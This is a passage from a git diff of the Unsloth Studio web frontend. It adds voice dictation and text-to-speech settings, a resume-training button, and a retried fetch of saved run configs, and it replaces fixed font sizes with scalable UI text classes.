+                          variant="outline"
+                          size="sm"
+                          className="h-7 px-2.5 text-xs"
+                          disabled={sttUnloading}
+                          onClick={releaseSttModel}
+                        >
+                          {sttUnloading ? <Spinner className="mr-1.5" /> : null}
+                          {sttUnloading
+                            ? t("settings.voice.dictation.sttUnloading")
+                            : t("settings.voice.dictation.sttUnload")}
+                        </Button>
+                      ) : sttPhase === "loading" || sttPhase === "checking" ? (
+                        // The status line already says "Loading model…"; the
+                        // button only needs the spinner.
+                        <Button
+                          variant="outline"
+                          size="sm"
+                          className="h-7 px-2.5 text-xs"
+                          disabled={true}
+                          aria-label={t(
+                            "settings.voice.dictation.sttLoadingModel",
+                          )}
+                        >
+                          <Spinner />
+                        </Button>
+                      ) : (
+                        <Button
+                          variant="outline"
+                          size="sm"
+                          className="h-7 px-2.5 text-xs"
+                          onClick={warmSttModel}
+                        >
+                          {sttPhase === "error"
+                            ? t("settings.voice.dictation.sttRetry")
+                            : t("settings.voice.dictation.sttLoad")}
+                        </Button>
+                      )
+                    ) : null}
+                  </div>
+                )}
+              </div>
+            </SettingsRow>
+          ) : (
+            <SettingsRow
+              label={t("settings.voice.dictation.sttModelLabel")}
+              description={t("settings.voice.dictation.sttModelUnsupported")}
+            />
+          )
+        ) : null}
+
+        <SettingsRow
+          label={t("settings.voice.dictation.microphoneLabel")}
+          description={
+            hasLabels
+              ? micDeviceId !== "default"
+                ? t("settings.voice.dictation.microphoneFallbackHint")
+                : t("settings.voice.dictation.microphoneDescription")
+              : t("settings.voice.dictation.microphoneGrantDescription")
+          }
+        >
+          {hasLabels ? (
+            <Select value={micDeviceId} onValueChange={setMicDeviceId}>
+              <SelectTrigger aria-label="Microphone" className="min-w-56 max-w-72" size="sm">
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                <SelectItem value="default">
+                  {t("settings.voice.dictation.systemDefault")}
+                </SelectItem>
+                {devices
+                  .filter((d) => d.deviceId && d.deviceId !== "default")
+                  .map((d, i) => (
+                    <SelectItem key={d.deviceId} value={d.deviceId}>
+                      {d.label || `Microphone ${i + 1}`}
+                    </SelectItem>
+                  ))}
+                {!knownMic && micDeviceId !== "default" ? (
+                  <SelectItem value={micDeviceId}>
+                    {t("settings.voice.dictation.savedMicDisconnected")}
+                  </SelectItem>
+                ) : null}
+              </SelectContent>
+            </Select>
+          ) : (
+            <Button variant="outline" size="sm" onClick={requestAccess}>
+              <MicIcon className="mr-1.5 size-3.5" />
+              {t("settings.voice.dictation.allowMicrophone")}
+            </Button>
+          )}
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.voice.dictation.languageLabel")}
+          description={t("settings.voice.dictation.languageDescription")}
+        >
+          <Select
+            value={dictationLanguage}
+            onValueChange={setDictationLanguage}
+          >
+            <SelectTrigger
+              aria-label="Dictation language"
+              className="min-w-56 max-w-72"
+              size="sm"
+            >
+              <SelectValue />
+            </SelectTrigger>
+            <SelectContent>
+              {DICTATION_LANGUAGES.map(({ value, label }) => (
+                <SelectItem key={value} value={value}>
+                  {value === "auto"
+                    ? t("settings.voice.dictation.languageAuto")
+                    : label}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.voice.dictionary.manageLabel")}
+          description={t("settings.voice.dictionary.sectionDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => setSubpage("dictionary")}
+          >
+            {t("settings.voice.dictionary.manage")}
+          </Button>
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.voice.recents.manageLabel")}
+          description={t("settings.voice.recents.sectionDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => {
+              setSelectedDictationId(null);
+              setSubpage("recents");
+            }}
+          >
+            {t("settings.voice.recents.manage")}
+          </Button>
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.voice.readAloud.sectionTitle")}>
+        {ttsSupported ? (
+          <>
+            <SettingsRow
+              label={t("settings.voice.readAloud.buttonLabel")}
+              description={t("settings.voice.readAloud.buttonDescription")}
+            >
+              <Switch checked={ttsEnabled} onCheckedChange={setTtsEnabled} />
+            </SettingsRow>
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.engineLabel")}
+              description={
+                effectiveTtsEngine === "studio"
+                  ? t("settings.voice.readAloud.engineStudioDescription")
+                  : t("settings.voice.readAloud.engineSystemDescription")
+              }
+            >
+              <Select
+                value={effectiveTtsEngine}
+                onValueChange={(value) =>
+                  setTtsEngine(value === "studio" ? "studio" : "system")
+                }
+              >
+                <SelectTrigger
+                  aria-label="TTS engine"
+                  className="min-w-56 max-w-72"
+                  size="sm"
+                >
+                  <SelectValue />
+                </SelectTrigger>
+                <SelectContent>
+                  {systemTtsSupported ? (
+                    <SelectItem value="system">
+                      {t("settings.voice.readAloud.engineSystem")}
+                    </SelectItem>
+                  ) : null}
+                  <SelectItem value="studio">
+                    {t("settings.voice.readAloud.engineStudio")}
+                  </SelectItem>
+                </SelectContent>
+              </Select>
+            </SettingsRow>
+
+            {effectiveTtsEngine === "studio" ? (
+              <SettingsRow
+                label={t("settings.voice.readAloud.modelLabel")}
+                description={t("settings.voice.readAloud.modelDescription")}
+              />
+            ) : (
+              <SettingsRow
+                label={t("settings.voice.readAloud.voiceLabel")}
+                description={t("settings.voice.readAloud.voiceDescription")}
+              >
+                <Select value={ttsVoiceURI} onValueChange={setTtsVoiceURI}>
+                  <SelectTrigger
+                    aria-label="Text to speech voice"
+                    className="min-w-56 max-w-72"
+                    size="sm"
+                  >
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent className="max-h-72">
+                    <SelectItem value="default">
+                      {t("settings.voice.dictation.systemDefault")}
+                    </SelectItem>
+                    {voices.map((voice) => (
+                      <SelectItem key={voice.voiceURI} value={voice.voiceURI}>
+                        {voice.name} ({voice.lang})
+                      </SelectItem>
+                    ))}
+                  </SelectContent>
+                </Select>
+              </SettingsRow>
+            )}
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.speedLabel")}
+              description={`${ttsRate.toFixed(2)}x`}
+            >
+              <Slider
+                value={[ttsRate]}
+                min={0.5}
+                max={2}
+                step={0.05}
+                onValueChange={([v]) => v !== undefined && setTtsRate(v)}
+                className="w-48"
+                aria-label="Speaking rate"
+              />
+            </SettingsRow>
+
+            {effectiveTtsEngine === "system" && (
+              <SettingsRow
+                label={t("settings.voice.readAloud.pitchLabel")}
+                description={`${ttsPitch.toFixed(2)}`}
+              >
+                <Slider
+                  value={[ttsPitch]}
+                  min={0}
+                  max={2}
+                  step={0.05}
+                  onValueChange={([v]) => v !== undefined && setTtsPitch(v)}
+                  className="w-48"
+                  aria-label="Voice pitch"
+                />
+              </SettingsRow>
+            )}
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.volumeLabel")}
+              description={`${Math.round(ttsVolume * 100)}%`}
+            >
+              <Slider
+                value={[ttsVolume]}
+                min={0}
+                max={1}
+                step={0.05}
+                onValueChange={([v]) => v !== undefined && setTtsVolume(v)}
+                className="w-48"
+                aria-label="Playback volume"
+              />
+            </SettingsRow>
+
+            <SettingsRow
+              label={t("settings.voice.readAloud.previewLabel")}
+              description={t("settings.voice.readAloud.previewDescription")}
+            >
+              <Button
+                variant="outline"
+                size="sm"
+                onClick={() => void previewTts()}
+              >
+                {previewing ? (
+                  <>
+                    <SquareIcon className="mr-1.5 size-3 animate-pulse fill-current text-destructive" />
+                    {t("settings.voice.readAloud.stopAction")}
+                  </>
+                ) : (
+                  <>
+                    <HugeiconsIcon
+                      icon={VolumeHighIcon}
+                      className="mr-1.5 size-3.5"
+                    />
+                    {t("settings.voice.readAloud.previewAction")}
+                  </>
+                )}
+              </Button>
+            </SettingsRow>
+          </>
+        ) : (
+          <SettingsRow
+            label={t("settings.voice.readAloud.ttsLabel")}
+            description={t("settings.voice.readAloud.notSupported")}
+          />
+        )}
+      </SettingsSection>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/studio/historical-training-view.tsx b/studio/frontend/src/features/studio/historical-training-view.tsx
index 2f80fc29ca..4a123875a8 100644
--- a/studio/frontend/src/features/studio/historical-training-view.tsx
+++ b/studio/frontend/src/features/studio/historical-training-view.tsx
@@ -2,18 +2,29 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import type { TrainingViewData } from "@/features/training";
-import { getTrainingRun, onTrainingRunUpdated } from "@/features/training";
+import {
+  getTrainingRun,
+  onTrainingRunUpdated,
+  useTrainingActions,
+  useTrainingRuntimeStore,
+} from "@/features/training";
 import type { TrainingRunDetailResponse } from "@/features/training";
 import { parseBackendTrainingMethod } from "@/features/training/lib/training-methods";
 import { type ReactElement, useEffect, useState } from "react";
 import { ChartsSection } from "./sections/charts-section";
 import { ProgressSection } from "./sections/progress-section";
+import { mapRunConfigToOverride } from "./sections/run-config-override";
+import { Button } from "@/components/ui/button";
+import { Spinner } from "@/components/ui/spinner";
+import { PlayIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
 import { translate, useT } from "@/i18n";
 
 type StudioT = ReturnType<typeof useT>;
 
 interface HistoricalTrainingViewProps {
   runId: string;
+  onResumeStarted?: () => void;
 }
 
 function mapToViewData(
@@ -92,10 +103,27 @@ function mapToViewData(
 
 export function HistoricalTrainingView({
   runId,
+  onResumeStarted,
 }: HistoricalTrainingViewProps): ReactElement {
   const t = useT();
   const [detail, setDetail] = useState<TrainingRunDetailResponse | null>(null);
   const [error, setError] = useState<string | null>(null);
+  const [resuming, setResuming] = useState(false);
+  const { resumeTrainingRunFromHistory } = useTrainingActions();
+  const isStarting = useTrainingRuntimeStore((state) => state.isStarting);
+  const isTrainingRunning = useTrainingRuntimeStore(
+    (state) => state.isTrainingRunning,
+  );
+
+  const handleResume = async () => {
+    setResuming(true);
+    try {
+      const ok = await resumeTrainingRunFromHistory(runId);
+      if (ok) onResumeStarted?.();
+    } finally {
+      setResuming(false);
+    }
+  };
 
   // Derive loading from detail/error; no separate state.
   const loading = detail === null && error === null;
@@ -147,28 +175,31 @@ export function HistoricalTrainingView({
   }
 
   const viewData = mapToViewData(detail, t);
-  const configOverride = detail.config
-    ? {
-        epochs: detail.config.num_epochs as number | undefined,
-        batchSize: detail.config.batch_size as number | undefined,
-        learningRate: detail.config.learning_rate as string | undefined,
-        maxSteps: detail.config.max_steps as number | undefined,
-        contextLength: detail.config.max_seq_length as number | undefined,
-        warmupSteps: detail.config.warmup_steps as number | undefined,
-        optimizerType: detail.config.optim as string | undefined,
-        loraRank: detail.config.lora_r as number | undefined,
-        loraAlpha: detail.config.lora_alpha as number | undefined,
-        loraDropout: detail.config.lora_dropout as number | undefined,
-        loraVariant: detail.config.use_rslora
-          ? "rslora"
-          : detail.config.use_loftq
-            ? "loftq"
-            : "lora",
-      }
-    : undefined;
+  const configOverride = mapRunConfigToOverride(detail.config);
 
   return (
     <div className="flex flex-col gap-6">
+      {detail.run.can_resume && (
+        <div className="flex justify-end">
+          <Button
+            type="button"
+            size="sm"
+            variant="outline"
+            className="gap-1.5"
+            disabled={isStarting || resuming || isTrainingRunning}
+            onClick={() => void handleResume()}
+          >
+            {resuming ? (
+              <Spinner className="size-3.5" />
+            ) : (
+              <HugeiconsIcon icon={PlayIcon} className="size-3.5" />
+            )}
+            {resuming
+              ? t("studio.history.resuming")
+              : t("studio.history.resumeTraining")}
+          </Button>
+        </div>
+      )}
       <ProgressSection
         data={viewData}
         isHistorical
diff --git a/studio/frontend/src/features/studio/history-card-grid.tsx b/studio/frontend/src/features/studio/history-card-grid.tsx
index bd76171ce2..21dc786e34 100644
--- a/studio/frontend/src/features/studio/history-card-grid.tsx
+++ b/studio/frontend/src/features/studio/history-card-grid.tsx
@@ -78,13 +78,17 @@ function wasContinuedInVisibleRuns(
   run: TrainingRunSummary,
   runs: TrainingRunSummary[],
 ): boolean {
-  if (run.status !== "stopped" || !run.output_dir) return false;
+  if ((run.status !== "stopped" && run.status !== "error") || !run.output_dir)
+    return false;
   const startedAt = new Date(run.started_at).getTime();
   return runs.some(
     (other) =>
       other.id !== run.id &&
       other.output_dir === run.output_dir &&
-      (other.status === "stopped" || other.status === "completed") &&
+      (other.status === "stopped" ||
+        other.status === "completed" ||
+        other.status === "error" ||
+        other.status === "running") &&
       new Date(other.started_at).getTime() > startedAt,
   );
 }
@@ -421,14 +425,14 @@ export function HistoryCardGrid({
               <div className="flex items-center justify-between pr-6">
                 <span
                   className={cn(
-                    "inline-flex items-center gap-1.5 rounded-full px-2 py-0.5 text-[10px] font-semibold",
+                    "inline-flex items-center gap-1.5 rounded-full px-2 py-0.5 text-ui-10 font-semibold",
                     badge.className,
                   )}
                 >
                   {isRunning && <Spinner className="size-2.5" />}
                   {formatStatusLabel(wasContinued ? "resumed_later" : run.status, t)}
                 </span>
-                <span className="text-[10px] text-muted-foreground">
+                <span className="text-ui-10 text-muted-foreground">
                   {formatRelativeTime(run.started_at, t)}
                 </span>
               </div>
@@ -437,7 +441,7 @@ export function HistoryCardGrid({
                   type="button"
                   size="xs"
                   variant="outline"
-                  className="absolute bottom-3 left-4 h-6 rounded-full px-2.5 text-[11px] leading-none shadow-sm"
+                  className="absolute bottom-3 left-4 h-6 rounded-full px-2.5 text-ui-11 leading-none shadow-sm"
                   disabled={isStarting || isResuming}
                   onClick={(e) => {
                     e.stopPropagation();
@@ -452,7 +456,7 @@ export function HistoryCardGrid({
                   type="button"
                   size="xs"
                   variant="outline"
-                  className="absolute bottom-3 right-4 h-6 rounded-full px-2.5 text-[11px] leading-none shadow-sm"
+                  className="absolute bottom-3 right-4 h-6 rounded-full px-2.5 text-ui-11 leading-none shadow-sm"
                   onClick={async (e) => {
                     e.stopPropagation();
                     // Encode each segment but keep "/" so the /p route matches.
@@ -520,7 +524,7 @@ export function HistoryCardGrid({
                   />
                 </div>
               )}
-              <div className="flex flex-wrap gap-x-4 gap-y-1 text-[11px] text-muted-foreground">
+              <div className="flex flex-wrap gap-x-4 gap-y-1 text-ui-11 text-muted-foreground">
                 <span>
                   {t("studio.history.loss")}:{" "}
                   {run.final_loss != null ? run.final_loss.toFixed(4) : "--"}
diff --git a/studio/frontend/src/features/studio/live-training-view.tsx b/studio/frontend/src/features/studio/live-training-view.tsx
index cce39adbf4..0aecc7030e 100644
--- a/studio/frontend/src/features/studio/live-training-view.tsx
+++ b/studio/frontend/src/features/studio/live-training-view.tsx
@@ -1,18 +1,42 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { cn } from "@/lib/utils";
 import {
+  getTrainingRun,
   useTrainingConfigStore,
   useTrainingRuntimeStore,
 } from "@/features/training";
 import type { TrainingViewData } from "@/features/training";
+import { cn } from "@/lib/utils";
 import type { ReactElement } from "react";
+import { useEffect, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
 import { ChartsSection } from "./sections/charts-section";
 import { ProgressSection } from "./sections/progress-section";
+import {
+  type RunConfigOverride,
+  mapRunConfigToOverride,
+} from "./sections/run-config-override";
 import { TrainingStartOverlay } from "./training-start-overlay";
 
+/** Retry budget for the run-config lookup. The row is inserted at
+ * start_training(), but a lookup issued in the same instant can still miss it;
+ * a few short retries cover that without polling a genuinely absent row. */
+const RUN_CONFIG_FETCH_RETRIES = 5;
+const RUN_CONFIG_FETCH_RETRY_MS = 1000;
+
+/** The fetched run config only applies while it belongs to the active job;
+ * a stale record from a previous run falls back to the form store. */
+function activeRunOverride(
+  fetched: { jobId: string; override: RunConfigOverride | undefined } | null,
+  jobId: string | null,
+): RunConfigOverride | undefined {
+  if (fetched === null || fetched.jobId !== jobId) {
+    return undefined;
+  }
+  return fetched.override;
+}
+
 export function LiveTrainingView(): ReactElement {
   const runtime = useTrainingRuntimeStore(
     useShallow((state) => ({
@@ -52,6 +76,59 @@ export function LiveTrainingView(): ReactElement {
     })),
   );
 
+  // Show the ACTIVE run's saved config, not the editable form store the user may
+  // have changed since starting (#6853). start_training() commits the run row
+  // before the pump, so the job id alone gates the fetch; the bounded retry below
+  // covers the narrow uncommitted window, and until it loads ProgressSection falls
+  // back to the form store. The result is keyed by job id and filtered at render.
+  const [fetchedRunConfig, setFetchedRunConfig] = useState<{
+    jobId: string;
+    override: RunConfigOverride | undefined;
+  } | null>(null);
+  // Retry budget for the transient 404 below, keyed by job so a new run always
+  // starts with a fresh budget.
+  const [fetchAttempt, setFetchAttempt] = useState<{
+    jobId: string;
+    count: number;
+  } | null>(null);
+  useEffect(() => {
+    if (!runtime.jobId) {
+      return;
+    }
+    const jobId = runtime.jobId;
+    if (fetchedRunConfig !== null && fetchedRunConfig.jobId === jobId) {
+      return; // already resolved for this job
+    }
+    const attempts = fetchAttempt?.jobId === jobId ? fetchAttempt.count : 0;
+    const controller = new AbortController();
+    let retryTimer: ReturnType<typeof setTimeout> | undefined;
+    getTrainingRun(jobId, controller.signal)
+      .then((detail) => {
+        setFetchedRunConfig({
+          jobId,
+          override: mapRunConfigToOverride(detail.config),
+        });
+      })
+      .catch(() => {
+        // A lookup racing the row commit can miss transiently; nothing else in
+        // the deps changes on failure, so retry explicitly. Bounded so a genuinely
+        // absent row falls back to the form store instead of polling forever.
+        if (controller.signal.aborted || attempts >= RUN_CONFIG_FETCH_RETRIES) {
+          return;
+        }
+        retryTimer = setTimeout(() => {
+          setFetchAttempt({ jobId, count: attempts + 1 });
+        }, RUN_CONFIG_FETCH_RETRY_MS);
+      });
+    return () => {
+      controller.abort();
+      if (retryTimer !== undefined) {
+        clearTimeout(retryTimer);
+      }
+    };
+  }, [runtime.jobId, fetchedRunConfig, fetchAttempt]);
+  const runConfigOverride = activeRunOverride(fetchedRunConfig, runtime.jobId);
+
   const activeProjectName =
     runtime.startProjectName !== null
       ? runtime.startProjectName.trim() || null
@@ -76,7 +153,11 @@ export function LiveTrainingView(): ReactElement {
     isTrainingRunning: runtime.isTrainingRunning,
     modelName: runtime.startModelName ?? config.selectedModel ?? "",
     projectName: activeProjectName,
-    trainingMethod: config.trainingMethod ?? "",
+    // Prefer the saved run's method: the form may have been edited (e.g. LoRA
+    // -> Full) after the run started, which would relabel the run and hide its
+    // saved LoRA rows in the popover.
+    trainingMethod:
+      runConfigOverride?.trainingMethod ?? config.trainingMethod ?? "",
     lossHistory: runtime.lossHistory,
     lrHistory: runtime.lrHistory,
     gradNormHistory: runtime.gradNormHistory,
@@ -105,7 +186,11 @@ export function LiveTrainingView(): ReactElement {
         )}
       >
         <div data-tour="studio-training-progress">
-          <ProgressSection key={runtime.jobId ?? "no-job"} data={viewData} />
+          <ProgressSection
+            key={runtime.jobId ?? "no-job"}
+            data={viewData}
+            configOverride={runConfigOverride}
+          />
         </div>
         <ChartsSection
           currentStep={viewData.currentStep}
diff --git a/studio/frontend/src/features/studio/recent-trainings-section.tsx b/studio/frontend/src/features/studio/recent-trainings-section.tsx
index 43808a7ca9..092732b486 100644
--- a/studio/frontend/src/features/studio/recent-trainings-section.tsx
+++ b/studio/frontend/src/features/studio/recent-trainings-section.tsx
@@ -8,7 +8,7 @@ import { HistoryCardGrid } from "./history-card-grid";
 
 /**
  * Recent training runs surfaced on Data Recipes and Export. Selecting a run
- * stores its id and navigates to Studio, which auto-opens its History tab.
+ * stores its id and navigates to Unsloth, which auto-opens its History tab.
  * Renders nothing once we know there are no runs.
  */
 export function RecentTrainingsSection() {
@@ -22,7 +22,7 @@ export function RecentTrainingsSection() {
 
   return (
     <section className="mt-10">
-      <h2 className="mb-4 text-[18px] font-semibold tracking-[-0.02em] text-foreground">
+      <h2 className="mb-4 text-ui-18 font-semibold tracking-[-0.02em] text-foreground">
         Recent trainings
       </h2>
       <HistoryCardGrid
diff --git a/studio/frontend/src/features/studio/sections/charts/chart-settings-sheet.tsx b/studio/frontend/src/features/studio/sections/charts/chart-settings-sheet.tsx
index baa66e8b83..f0f030dace 100644
--- a/studio/frontend/src/features/studio/sections/charts/chart-settings-sheet.tsx
+++ b/studio/frontend/src/features/studio/sections/charts/chart-settings-sheet.tsx
@@ -251,7 +251,7 @@ export function ChartSettingsSheet(): ReactElement {
                   max={0.9}
                   step={0.01}
                 />
-                <p className="text-[11px] text-muted-foreground">
+                <p className="text-ui-11 text-muted-foreground">
                   {t("studio.charts.smoothingDescription")}
                 </p>
               </div>
diff --git a/studio/frontend/src/features/studio/sections/charts/training-loss-chart-card.tsx b/studio/frontend/src/features/studio/sections/charts/training-loss-chart-card.tsx
index 16113f3219..738305eaca 100644
--- a/studio/frontend/src/features/studio/sections/charts/training-loss-chart-card.tsx
+++ b/studio/frontend/src/features/studio/sections/charts/training-loss-chart-card.tsx
@@ -152,7 +152,7 @@ export function TrainingLossChartCard({
                     value: formatMetric(avgRaw),
                   }),
                   position: "insideTopRight",
-                  fontSize: 10,
+                  fontSize: "calc(0.625rem * var(--ui-font-scale, 1))",
                   fill: "#3b82f6",
                 }}
               />
diff --git a/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx b/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx
index 5be1c32f69..d20cc0b63d 100644
--- a/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx
@@ -74,15 +74,15 @@ export function HeaderRolePicker({
       value={currentRole ?? "_none"}
       onValueChange={(v) => onRoleChange(v === "_none" ? undefined : v)}
     >
-      <SelectTrigger className="h-6 w-[90px] text-[10px] px-2 py-0 border-dashed cursor-pointer">
+      <SelectTrigger className="h-6 w-[90px] text-ui-10 px-2 py-0 border-dashed cursor-pointer">
         <SelectValue placeholder="Role..." />
       </SelectTrigger>
       <SelectContent>
-        <SelectItem value="_none" className="text-[11px]">
+        <SelectItem value="_none" className="text-ui-11">
           None
         </SelectItem>
         {availableRoles.map((role) => (
-          <SelectItem key={role} value={role} className="text-[11px]">
+          <SelectItem key={role} value={role} className="text-ui-11">
             {ROLE_LABELS[role] ?? role}
           </SelectItem>
         ))}
@@ -179,7 +179,7 @@ export function DatasetMappingCard({
                 <Badge
                   key={col}
                   variant="outline"
-                  className="h-6 text-[11px] bg-white/60 dark:bg-transparent"
+                  className="h-6 text-ui-11 bg-white/60 dark:bg-transparent"
                 >
                   <span className="font-mono">{col}</span>
                   <span className="mx-1 text-muted-foreground/60">&rarr;</span>
@@ -211,7 +211,7 @@ export function DatasetMappingCard({
                   <>
                     <Sparkles className="mr-1.5 h-3.5 w-3.5" />
                     AI Assist
-                    <Badge variant="outline" className="ml-1.5 text-[9px] px-1 py-0 h-4 font-medium">Beta</Badge>
+                    <Badge variant="outline" className="ml-1.5 text-ui-9 px-1 py-0 h-4 font-medium">Beta</Badge>
                   </>
                 )}
               </Button>
@@ -227,7 +227,7 @@ export function DatasetMappingCard({
                 <span>{advisorNotification}</span>
               </div>
               {advisorSystemPrompt && (
-                <div className="pl-5.5 text-[11px] font-mono text-indigo-600/80 dark:text-indigo-400/80">
+                <div className="pl-5.5 text-ui-11 font-mono text-indigo-600/80 dark:text-indigo-400/80">
                   <span className="font-sans font-medium text-indigo-500 dark:text-indigo-400">System:</span>{" "}
                   <span className="break-words">{advisorSystemPrompt}</span>
                 </div>
@@ -256,7 +256,7 @@ export function DatasetMappingFooter({
   return (
     <div className="mt-3 flex flex-col gap-2">
       <div className="flex items-center justify-between gap-3">
-        <p className="text-[11px] text-muted-foreground/70 leading-relaxed">
+        <p className="text-ui-11 text-muted-foreground/70 leading-relaxed">
           Tip: use the role dropdowns in the column headers to assign roles.
         </p>
         <div className="flex items-center gap-2">
diff --git a/studio/frontend/src/features/studio/sections/dataset-preview-dialog.tsx b/studio/frontend/src/features/studio/sections/dataset-preview-dialog.tsx
index c467880b6b..71939aaee2 100644
--- a/studio/frontend/src/features/studio/sections/dataset-preview-dialog.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-preview-dialog.tsx
@@ -261,7 +261,7 @@ export function DatasetPreviewDialog({
       accessorKey: colName,
       header: () => (
         <div className="flex flex-col gap-2">
-          <span className="font-heading text-[13px] font-semibold tracking-tight text-foreground">
+          <span className="font-heading text-ui-13 font-semibold tracking-tight text-foreground">
             {colName}
           </span>
           {mappingEnabled && (
@@ -308,7 +308,7 @@ export function DatasetPreviewDialog({
         const text = formatCell(value);
         if (!text) {
           return (
-            <span className="text-muted-foreground/40 italic text-[13px]">
+            <span className="text-muted-foreground/40 italic text-ui-13">
               --
             </span>
           );
@@ -316,7 +316,7 @@ export function DatasetPreviewDialog({
         const full = typeof value === "string" ? value : JSON.stringify(value);
         return (
           <p
-            className="text-[13px] leading-relaxed line-clamp-6"
+            className="text-ui-13 leading-relaxed line-clamp-6"
             title={full}
           >
             {text}
@@ -331,11 +331,11 @@ export function DatasetPreviewDialog({
         id: "__system_generated",
         header: () => (
           <div className="flex flex-col gap-2">
-            <span className="font-heading text-[13px] font-semibold tracking-tight text-foreground">
+            <span className="font-heading text-ui-13 font-semibold tracking-tight text-foreground">
               System <span className="text-muted-foreground font-normal">(generated)</span>
             </span>
             {mappingEnabled && (
-              <Badge variant="outline" className="h-6 w-fit text-[10px] px-2 py-0 border-dashed text-muted-foreground">
+              <Badge variant="outline" className="h-6 w-fit text-ui-10 px-2 py-0 border-dashed text-muted-foreground">
                 System
               </Badge>
             )}
@@ -343,7 +343,7 @@ export function DatasetPreviewDialog({
         ),
         cell: () => (
           <p
-            className="text-[13px] leading-relaxed line-clamp-6 text-muted-foreground italic"
+            className="text-ui-13 leading-relaxed line-clamp-6 text-muted-foreground italic"
             title={datasetSystemPrompt}
           >
             {datasetSystemPrompt}
@@ -443,7 +443,7 @@ export function DatasetPreviewDialog({
                         <Badge
                           key={col}
                           variant="outline"
-                          className="text-[11px] font-mono h-5"
+                          className="text-ui-11 font-mono h-5"
                         >
                           {col}
                         </Badge>
@@ -493,7 +493,7 @@ export function DatasetPreviewDialog({
 
               {/* Footer */}
               <div className="mt-3">
-                <p className="text-[11px] text-muted-foreground/60 text-center tabular-nums">
+                <p className="text-ui-11 text-muted-foreground/60 text-center tabular-nums">
                   Showing {rows.length}
                   {data.total_rows != null &&
                     ` of ${data.total_rows.toLocaleString()}`}{" "}
@@ -501,7 +501,7 @@ export function DatasetPreviewDialog({
                 </p>
 
                 {mode === "preview" && mappingEnabled && (
-                  <p className="mt-2 text-[11px] text-muted-foreground/70 text-center">
+                  <p className="mt-2 text-ui-11 text-muted-foreground/70 text-center">
                     Mapping is saved automatically. You can start training anytime.
                   </p>
                 )}
@@ -540,7 +540,7 @@ function MetaRow({
       <span className="text-muted-foreground font-medium text-xs w-24 shrink-0">
         {label}:
       </span>
-      <span className="text-foreground text-[13px] min-w-0">{value}</span>
+      <span className="text-foreground text-ui-13 min-w-0">{value}</span>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/studio/sections/dataset-section.tsx b/studio/frontend/src/features/studio/sections/dataset-section.tsx
index 285644c5d4..6a3cc8129a 100644
--- a/studio/frontend/src/features/studio/sections/dataset-section.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-section.tsx
@@ -28,29 +28,38 @@ import {
 } from "@/components/ui/select";
 import { Spinner } from "@/components/ui/spinner";
 import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
-import { cn } from "@/lib/utils";
 import {
   Tooltip,
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import { useDebouncedValue, useHfTokenValidation } from "@/hooks";
+import { usePlatformStore } from "@/config/env";
 import { useHubDatasetSearch } from "@/features/hub/hooks/use-hub-dataset-search";
 import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
+import {
+  formatUploadSize,
+  getCachedUploadLimitBytes,
+  getCachedUploadLimitLabel,
+  loadUploadLimitSettings,
+  subscribeUploadLimitSettings,
+} from "@/features/settings/api/upload-limit";
 import {
   HfDatasetSubsetSplitSelectors,
+  type LocalDatasetInfo,
   listLocalDatasets,
   uploadTrainingDataset,
   useDatasetPreviewDialogStore,
   useTrainingConfigStore,
-  type LocalDatasetInfo,
 } from "@/features/training";
 // Imported directly from the store module rather than the "@/features/training"
 // barrel to avoid an import cycle (the barrel re-exports this section's siblings).
 import { hasSeparateStreamingEvalSplit } from "@/features/training/stores/training-config-store";
-import { useNavigate } from "@tanstack/react-router";
+import { useDebouncedValue } from "@/hooks";
+import { translate, useT } from "@/i18n";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
 import {
-  ArrowDown01Icon,
   Cancel01Icon,
   CloudUploadIcon,
   Database02Icon,
@@ -60,28 +69,21 @@ import {
   ViewIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
+import { useNavigate } from "@tanstack/react-router";
+import { motion, useReducedMotion } from "motion/react";
 import {
   type ChangeEvent,
   type DragEvent,
   useCallback,
   useEffect,
+  useId,
   useMemo,
   useRef,
   useState,
 } from "react";
-import { toast } from "@/lib/toast";
-import {
-  formatUploadSize,
-  getCachedUploadLimitBytes,
-  getCachedUploadLimitLabel,
-  loadUploadLimitSettings,
-  subscribeUploadLimitSettings,
-} from "@/features/settings/api/upload-limit";
 import { useShallow } from "zustand/react/shallow";
 import { DocumentUploadRedirectDialog } from "./document-upload-redirect-dialog";
-import { translate, useT } from "@/i18n";
 import { S3ConfigForm } from "./s3-config-form";
-import { usePlatformStore } from "@/config/env";
 
 const TRAINING_UPLOAD_EXTENSIONS = [
   ".csv",
@@ -153,6 +155,9 @@ function normalizeSliceInput(value: string): string | null {
 export function DatasetSection() {
